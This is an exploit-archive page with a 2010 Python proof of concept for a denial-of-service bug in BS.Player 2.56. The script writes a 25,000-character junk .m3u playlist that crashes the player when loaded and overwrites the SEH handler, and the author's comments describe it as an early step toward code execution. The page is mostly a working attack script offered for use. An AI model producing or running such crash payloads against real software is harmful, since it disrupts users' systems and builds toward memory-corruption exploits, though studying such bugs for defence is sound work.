[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : BS.Player 2.56 (Build 1043) .m3u and .pls Denial of Service Vulnerability
# Published : 2010-09-26
# Author : modpr0be
# Previous Title : MOAUB #23 - Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)
# Next Title : MOAUB #26 - Microsoft Cinepak Codec CVDecompress Heap Overflow


#!/usr/bin/python
#
# Exploit Title: BS.Player 2.56 (Build 1043) .m3u and .pls Denial of Service
# Date: September 27, 2010
# Author: modpr0be
# Software Link: http://www.bsplayer.com/bsplayer-setup.exe
# Version: 2.0.0
# Tested on: Windows XP SP3/2003
# CVE : -

# How it works?
# Open BS.Player --> Open the Playlist Window --> Load m3u/pls file --> boom!
# 
# SEHandler
# bsplayer.00410041
# 
# 0012F74C   00410041  A.A.  Pointer to next SEH record
# 0012F750   00410041  A.A.  SE handler
# 
# I think this is a kind of unicode exploit. I'm learning this, hope it will run calc, soon.
# btw...thx corelanc0d3r (PVE) for his great exploit writing tutorial ;)
#

junk = "x41" * 25000

file = open('blah.m3u','w')  # change it if you want to try the .pls
file.write(junk)
file.close()